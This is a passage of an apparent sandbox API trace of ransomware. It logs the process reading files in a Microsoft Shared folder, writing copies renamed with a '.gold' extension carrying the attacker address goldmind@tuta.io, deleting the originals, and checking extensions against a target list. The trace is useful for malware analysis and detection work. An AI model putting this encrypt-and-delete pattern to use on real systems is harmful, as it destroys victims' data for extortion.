[0047.068] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0047.068] lstrlenW (lpString=".rar") returned 4 [0047.068] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0047.068] lstrlenW (lpString=".bz2") returned 4 [0047.069] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0047.069] lstrlenW (lpString=".7z") returned 3 [0047.069] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0047.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0047.069] lstrlenW (lpString=".dbf") returned 4 [0047.069] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0047.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0047.069] lstrlenW (lpString=".1cd") returned 4 [0047.069] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0047.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0047.069] lstrlenW (lpString=".jpg") returned 4 [0047.069] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0047.069] lstrcmpiW (lpString1=".FLT", lpString2=".gold") returned -1 [0047.069] lstrlenW (lpString="EPSIMP32.FLT") returned 12 [0047.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.073] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=712592) returned 1 [0047.073] CloseHandle (hObject=0x178) returned 1 [0047.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0047.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.074] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0047.074] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0047.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.076] GetLastError () returned 0x0 [0047.076] ReadFile (in: hFile=0x178, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0xadf90, lpOverlapped=0x0) returned 1 [0047.265] WriteFile (in: hFile=0x18c, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xadfa0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xadfa0, lpOverlapped=0x0) returned 1 [0047.565] ReadFile (in: hFile=0x178, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0047.565] WriteFile (in: hFile=0x18c, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.566] SetEndOfFile (hFile=0x18c) returned 1 [0047.566] CloseHandle (hObject=0x18c) returned 1 [0047.566] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0047.566] SetEndOfFile (hFile=0x178) returned 1 [0047.570] CloseHandle (hObject=0x178) returned 1 [0047.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.570] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 1 [0047.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0047.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0047.571] lstrlenW (lpString=".doc") returned 4 [0047.669] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0047.669] lstrlenW (lpString=".docx") returned 5 [0047.669] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0047.669] lstrlenW (lpString=".pdf") returned 4 [0047.670] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0047.670] lstrlenW (lpString=".xls") returned 4 [0047.670] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0047.670] lstrlenW (lpString=".xlsx") returned 5 [0047.670] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0047.670] lstrlenW (lpString=".ppt") returned 4 [0047.670] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0047.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0047.670] lstrlenW (lpString=".zip") returned 4 [0047.670] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0047.670] lstrlenW (lpString=".rar") returned 4 [0047.670] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0047.670] lstrlenW (lpString=".bz2") returned 4 [0047.670] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0047.670] lstrlenW (lpString=".7z") returned 3 [0047.670] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0047.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0047.670] lstrlenW (lpString=".dbf") returned 4 [0047.670] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0047.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0047.670] lstrlenW (lpString=".1cd") returned 4 [0047.670] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0047.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0047.670] lstrlenW (lpString=".jpg") returned 4 [0047.670] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0047.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0047.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0047.670] lstrlenW (lpString=".doc") returned 4 [0047.670] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0047.670] lstrlenW (lpString=".docx") returned 5 [0047.670] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0047.670] lstrlenW (lpString=".pdf") returned 4 [0047.670] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0047.670] lstrlenW (lpString=".xls") returned 4 [0047.670] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0047.670] lstrlenW (lpString=".xlsx") returned 5 [0047.670] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0047.670] lstrlenW (lpString=".ppt") returned 4 [0047.670] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0047.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0047.670] lstrlenW (lpString=".zip") returned 4 [0047.670] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0047.670] lstrlenW (lpString=".rar") returned 4 [0047.670] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0047.670] lstrlenW (lpString=".bz2") returned 4 [0047.671] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0047.671] lstrlenW (lpString=".7z") returned 3 [0047.671] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0047.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0047.671] lstrlenW (lpString=".dbf") returned 4 [0047.671] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0047.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0047.671] lstrlenW (lpString=".1cd") returned 4 [0047.671] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0047.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0047.671] lstrlenW (lpString=".jpg") returned 4 [0047.671] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0047.671] lstrcmpiW (lpString1=".CGM", lpString2=".gold") returned -1 [0047.671] lstrlenW (lpString="MS.CGM") returned 6 [0047.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0048.018] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=1908) returned 1 [0048.018] CloseHandle (hObject=0x21c) returned 1 [0048.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0048.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0048.018] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0048.018] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0048.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0048.018] GetLastError () returned 0x0 [0048.018] ReadFile (in: hFile=0x21c, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x774, lpOverlapped=0x0) returned 1 [0048.025] WriteFile (in: hFile=0x220, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x780, lpOverlapped=0x0) returned 1 [0048.026] ReadFile (in: hFile=0x21c, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0048.026] WriteFile (in: hFile=0x220, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xe0, lpOverlapped=0x0) returned 1 [0048.026] SetEndOfFile (hFile=0x220) returned 1 [0048.026] CloseHandle (hObject=0x220) returned 1 [0048.026] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0048.026] SetEndOfFile (hFile=0x21c) returned 1 [0048.027] CloseHandle (hObject=0x21c) returned 1 [0048.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.027] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 1 [0048.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0048.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0048.027] lstrlenW (lpString=".doc") returned 4 [0048.027] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0048.027] lstrlenW (lpString=".docx") returned 5 [0048.027] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0048.027] lstrlenW (lpString=".pdf") returned 4 [0048.027] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0048.027] lstrlenW (lpString=".xls") returned 4 [0048.027] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0048.027] lstrlenW (lpString=".xlsx") returned 5 [0048.027] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0048.027] lstrlenW (lpString=".ppt") returned 4 [0048.027] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0048.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0048.028] lstrlenW (lpString=".zip") returned 4 [0048.028] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0048.028] lstrlenW (lpString=".rar") returned 4 [0048.028] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0048.028] lstrlenW (lpString=".bz2") returned 4 [0048.028] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0048.028] lstrlenW (lpString=".7z") returned 3 [0048.028] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0048.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0048.028] lstrlenW (lpString=".dbf") returned 4 [0048.028] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0048.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0048.028] lstrlenW (lpString=".1cd") returned 4 [0048.028] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0048.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0048.028] lstrlenW (lpString=".jpg") returned 4 [0048.028] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0048.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0048.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0048.028] lstrlenW (lpString=".doc") returned 4 [0048.028] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0048.028] lstrlenW (lpString=".docx") returned 5 [0048.028] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0048.028] lstrlenW (lpString=".pdf") returned 4 [0048.028] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0048.028] lstrlenW (lpString=".xls") returned 4 [0048.028] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0048.028] lstrlenW (lpString=".xlsx") returned 5 [0048.028] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0048.028] lstrlenW (lpString=".ppt") returned 4 [0048.028] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0048.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0048.028] lstrlenW (lpString=".zip") returned 4 [0048.028] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0048.028] lstrlenW (lpString=".rar") returned 4 [0048.028] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0048.028] lstrlenW (lpString=".bz2") returned 4 [0048.028] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0048.028] lstrlenW (lpString=".7z") returned 3 [0048.028] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0048.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0048.028] lstrlenW (lpString=".dbf") returned 4 [0048.028] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0048.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0048.028] lstrlenW (lpString=".1cd") returned 4 [0048.028] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0048.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0048.028] lstrlenW (lpString=".jpg") returned 4 [0048.028] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0048.028] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0048.028] lstrlenW (lpString="hxds.dll") returned 8 [0048.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0048.036] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=1257984) returned 1 [0048.036] CloseHandle (hObject=0x21c) returned 1 [0048.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 0x20 [0048.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0048.036] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0048.037] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0048.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0048.037] GetLastError () returned 0x0 [0048.037] ReadFile (in: hFile=0x21c, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0xffff0, lpOverlapped=0x0) returned 1 [0048.062] WriteFile (in: hFile=0x220, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0048.227] ReadFile (in: hFile=0x21c, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x33210, lpOverlapped=0x0) returned 1 [0048.236] WriteFile (in: hFile=0x220, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x33220, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x33220, lpOverlapped=0x0) returned 1 [0048.240] ReadFile (in: hFile=0x21c, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0048.240] WriteFile (in: hFile=0x220, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xe4, lpOverlapped=0x0) returned 1 [0048.240] SetEndOfFile (hFile=0x220) returned 1 [0049.412] CloseHandle (hObject=0x220) returned 1 [0049.530] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0049.530] SetEndOfFile (hFile=0x21c) returned 1 [0049.551] CloseHandle (hObject=0x21c) returned 1 [0049.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.551] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 1 [0049.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0049.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0049.552] lstrlenW (lpString=".doc") returned 4 [0049.552] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.552] lstrlenW (lpString=".docx") returned 5 [0049.552] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0049.552] lstrlenW (lpString=".pdf") returned 4 [0049.552] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.552] lstrlenW (lpString=".xls") returned 4 [0049.552] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.552] lstrlenW (lpString=".xlsx") returned 5 [0049.552] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0049.552] lstrlenW (lpString=".ppt") returned 4 [0049.552] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0049.552] lstrlenW (lpString=".zip") returned 4 [0049.552] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.552] lstrlenW (lpString=".rar") returned 4 [0049.552] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.552] lstrlenW (lpString=".bz2") returned 4 [0049.552] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.552] lstrlenW (lpString=".7z") returned 3 [0049.552] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0049.553] lstrlenW (lpString=".dbf") returned 4 [0049.553] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0049.553] lstrlenW (lpString=".1cd") returned 4 [0049.553] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0049.553] lstrlenW (lpString=".jpg") returned 4 [0049.553] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0049.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0049.553] lstrlenW (lpString=".doc") returned 4 [0049.553] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.553] lstrlenW (lpString=".docx") returned 5 [0049.553] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0049.553] lstrlenW (lpString=".pdf") returned 4 [0049.553] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.553] lstrlenW (lpString=".xls") returned 4 [0049.553] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.553] lstrlenW (lpString=".xlsx") returned 5 [0049.553] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0049.553] lstrlenW (lpString=".ppt") returned 4 [0049.553] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0049.553] lstrlenW (lpString=".zip") returned 4 [0049.553] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.553] lstrlenW (lpString=".rar") returned 4 [0049.553] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.553] lstrlenW (lpString=".bz2") returned 4 [0049.553] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.553] lstrlenW (lpString=".7z") returned 3 [0049.553] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0049.553] lstrlenW (lpString=".dbf") returned 4 [0049.553] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.553] lstrlenW 